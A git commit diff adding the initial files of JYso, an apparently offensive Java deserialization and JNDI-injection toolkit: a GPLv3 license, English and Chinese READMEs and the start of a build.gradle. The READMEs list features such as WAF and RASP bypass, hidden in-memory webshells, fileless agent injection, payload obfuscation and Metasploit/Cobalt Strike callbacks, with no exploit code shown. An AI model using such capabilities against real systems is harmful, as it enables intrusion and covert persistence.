commit 30350fe33ef60bae6c5d66921d6101ff5652a86b Author: qi4l Date: Thu Mar 6 18:21:51 2025 +0800 chore: delete CB2 CB4 diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..bd9382b --- /dev/null +++ b/.gitignore @@ -0,0 +1,5 @@ +.idea/ +.gradle/ +out/ +.DS_Store +/build \ No newline at end of file diff --git a/LICENSE.txt b/LICENSE.txt new file mode 100644 index 0000000..30ace6a --- /dev/null +++ b/LICENSE.txt @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + {one line to give the program's name and a brief idea of what it does.} + Copyright (C) {year} {name of author} + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + {project} Copyright (C) {year} {fullname} + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. \ No newline at end of file diff --git a/README.en.md b/README.en.md new file mode 100644 index 0000000..2f50469 --- /dev/null +++ b/README.en.md @@ -0,0 +1,87 @@ +

+ +

+

JYso

+ +

+ + + + +

It can be used as a tool for ysoserial and JNDIExploit at the same time, and has the bypass function of multiple JNDI high versions, WAF, and RASP

+ +## 🚀 Getting Started Guide + +📢 Please take a moment to read this document, it will help you quickly get familiar with JYso! + +🧐 Use the Documentation [Wiki](https://github.com/qi4L/JYso/wiki). + +✔ Download the latest version of [Releases](https://github.com/qi4L/JYso/releases). + +## 👍 Features + ++ JNDI account password startup ++ JNDI route hiding or encryption ++ JNDI high version Bypass ++ Customize the path, password, HTTP header and value of the memory horse ++ Memory horse supports [Fileless landing Agent insertion](https://xz.aliyun.com/t/10075?time__1311=mq%2BxBD9QDQe4yDBkPoN%2BuDAO%3DnB5x&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fsearch%3Fkeyword%3Drebeyond) ++ Memory horse writes JRE or environment variables to hide ++ Serialized data plus dirty data ++ [Serialized data is encoded in UTF-8 corresponding to 3 bytes](https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/) ++ TemplatesImpl _bytecodes feature eliminated and size reduced ++ SignedObject secondary deserialization, can be used to bypass TemplatesImpl blacklist, CC without array and blacklist often seen in CTF, etc. ++ Solve the problem of Shiro Header being too long, get the value of the specified parameter from the request for class loading ++ Dynamically generate obfuscated class names ++ MSF/CS online ++ Code execution through JDBC + +If you have other great ideas, please let me know! 😎 + +## 🐯 Compile + +Download gradle8.7+ and configure it in the global environment variable, and execute it in the project root directory + +```shell +./gradlew shadowJar +``` + +## 🌲Directory structure + +For more information, please refer to [Directory structure description](docs/directory_structure.md). + +## ✨ CTStack + + + +JYso has joined the [CTStack](https://stack.chaitin.com/tool/detail/1303) community + +## ✨ 404StarLink 2.0 - Galaxy + +JYso is a member of the 404Team [404StarLink 2.0](https://github.com/knownsec/404StarLink). If you have questions about JYso or want to find a partner to communicate, you can refer to the Starlink group project. + ++ https://github.com/knownsec/404StarLink2.0-Galaxy#community + +1. [入选2024年KCon兵器谱](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=3) + +## 📷 Acknowledgements + +- https://github.com/veracode-research/rogue-jndi +- https://github.com/welk1n/JNDI-Injection-Exploit +- https://github.com/welk1n/JNDI-Injection-Bypass +- https://github.com/WhiteHSBG/JNDIExploit +- https://github.com/su18/ysoserial +- https://github.com/rebeyond/Behinder +- https://github.com/Whoopsunix/utf-8-overlong-encoding +- https://github.com/mbechler/marshalsec +- https://t.zsxq.com/17LkqCzk8 +- https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg +- https://xz.aliyun.com/t/11640?time__1311=mqmx0DBDuDnQ340vo4%2BxCwg%3DQai%3DYzaq4D&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F8697 +- https://archive.conference.hitb.org/hitbsecconf2021sin/sessions/make-jdbc-attacks-brilliant-again/ +- https://tttang.com/archive/1405/#toc_0x03-jdbc-rce +- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoYg0%3DDR0HG8KeD&alichlgref=https%3A%2F%2Ftttang.com%2F#toc-7 +- https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/ +- https://tttang.com/archive/1405/#toc_groovyclassloader +- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoY4AKqiKD%3DOQjqx&alichlgref=https%3A%2F%2Ftttang.com%2F +- https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html +- https://tttang.com/archive/1405/#toc_druid + diff --git a/README.md b/README.md new file mode 100644 index 0000000..eeb5b86 --- /dev/null +++ b/README.md @@ -0,0 +1,89 @@ +

+ +

+

JYso

+ +

+ + + + +

可以同时当做 ysoserial 与 JNDIExploit 使用的工具,同时具备多种JNDI高版本、WAF、RASP的Bypass功能

+ +

中文文档 | English

+ +## 🚀 上手指南 + +📢 请务必花一点时间阅读此文档,有助于你快速熟悉JYso! + +🧐 使用文档[Wiki](https://github.com/qi4L/JYso/wiki)。 + +✔ 下载最新版本的[Releases](https://github.com/qi4L/JYso/releases)。 + +## 👍 特点 + ++ JNDI 账号密码启动 ++ JNDI 路由隐藏或加密 ++ JNDI 高版本Bypass ++ 自定义修改内存马的路径、密码、验证的HTTP头与值 ++ 内存马支持[无文件落地Agent打入](https://xz.aliyun.com/t/10075?time__1311=mq%2BxBD9QDQe4yDBkPoN%2BuDAO%3DnB5x&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fsearch%3Fkeyword%3Drebeyond) ++ 内存马写入 JRE 或环境变量来隐藏 ++ 序列化数据加脏数据 ++ [序列化数据进行3字节对应的UTF-8编码](https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/) ++ TemplatesImpl 的 _bytecodes 特征消除且做了大小缩减 ++ SignedObject 二次反序列化,可用于绕过如 TemplatesImpl 黑名单,CTF 中常出现的 CC 无数组加黑名单等 ++ 解决 Shiro Header 头部过长,从 request 中获取指定参数的值进行类加载 ++ 动态生成混淆的类名 ++ MSF/CS 上线 ++ 通过JDBC来进行代码执行 + +如果你有其他很棒的想法请务必告诉我!😎 + +## 🐯 编译 + +下载 gradle8.7+ 并配置到全局环境变量中,在项目根目录下执行 + +```shell +./gradlew shadowJar +``` + +## 🌲目录结构 + +更多信息请参阅[目录结构说明](docs/directory_structure.md)。 + +## ✨ CTStack + + + +JYso 现已加入 [CTStack](https://stack.chaitin.com/tool/detail/1303) 社区 + +## ✨ 404StarLink 2.0 - Galaxy + +JYso 是 404Team [404StarLink 2.0](https://github.com/knownsec/404StarLink) 中的一环,如果您有 关于JYso的问题或者想找伙伴交流,可以参考星链加群方式项目。 + ++ https://github.com/knownsec/404StarLink2.0-Galaxy#community + +1. [入选2024年KCon兵器谱](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=3) + +## 📷 参考 + +- https://github.com/veracode-research/rogue-jndi +- https://github.com/welk1n/JNDI-Injection-Exploit +- https://github.com/welk1n/JNDI-Injection-Bypass +- https://github.com/WhiteHSBG/JNDIExploit +- https://github.com/su18/ysoserial +- https://github.com/rebeyond/Behinder +- https://github.com/Whoopsunix/utf-8-overlong-encoding +- https://github.com/mbechler/marshalsec +- https://t.zsxq.com/17LkqCzk8 +- https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg +- https://xz.aliyun.com/t/11640?time__1311=mqmx0DBDuDnQ340vo4%2BxCwg%3DQai%3DYzaq4D&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F8697 +- https://archive.conference.hitb.org/hitbsecconf2021sin/sessions/make-jdbc-attacks-brilliant-again/ +- https://tttang.com/archive/1405/#toc_0x03-jdbc-rce +- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoYg0%3DDR0HG8KeD&alichlgref=https%3A%2F%2Ftttang.com%2F#toc-7 +- https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/ +- https://tttang.com/archive/1405/#toc_groovyclassloader +- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoY4AKqiKD%3DOQjqx&alichlgref=https%3A%2F%2Ftttang.com%2F +- https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html +- https://tttang.com/archive/1405/#toc_druid + diff --git a/build.gradle b/build.gradle new file mode 100644 index 0000000..4fd199c --- /dev/null +++ b/build.gradle @@ -0,0 +1,136 @@ +plugins { + id 'java-library' + id 'maven-publish' + id 'com.gradleup.shadow' version '8.3.5' + id 'java' +} + +repositories { + mavenLocal() + maven { + url = uri('https://repo.jenkins-ci.org/releases/') + } + + maven { + url = uri('https://repo.maven.apache.org/maven2/') + } +} + +shadowJar { + archiveClassifier.set('pre') + manifest { + attributes 'Main-Class': 'com.qi4l.JYso.Starter' + } + zip64=true + //minimize() +} + +dependencies { + api libs.io.projectreactor.reactor.core + api 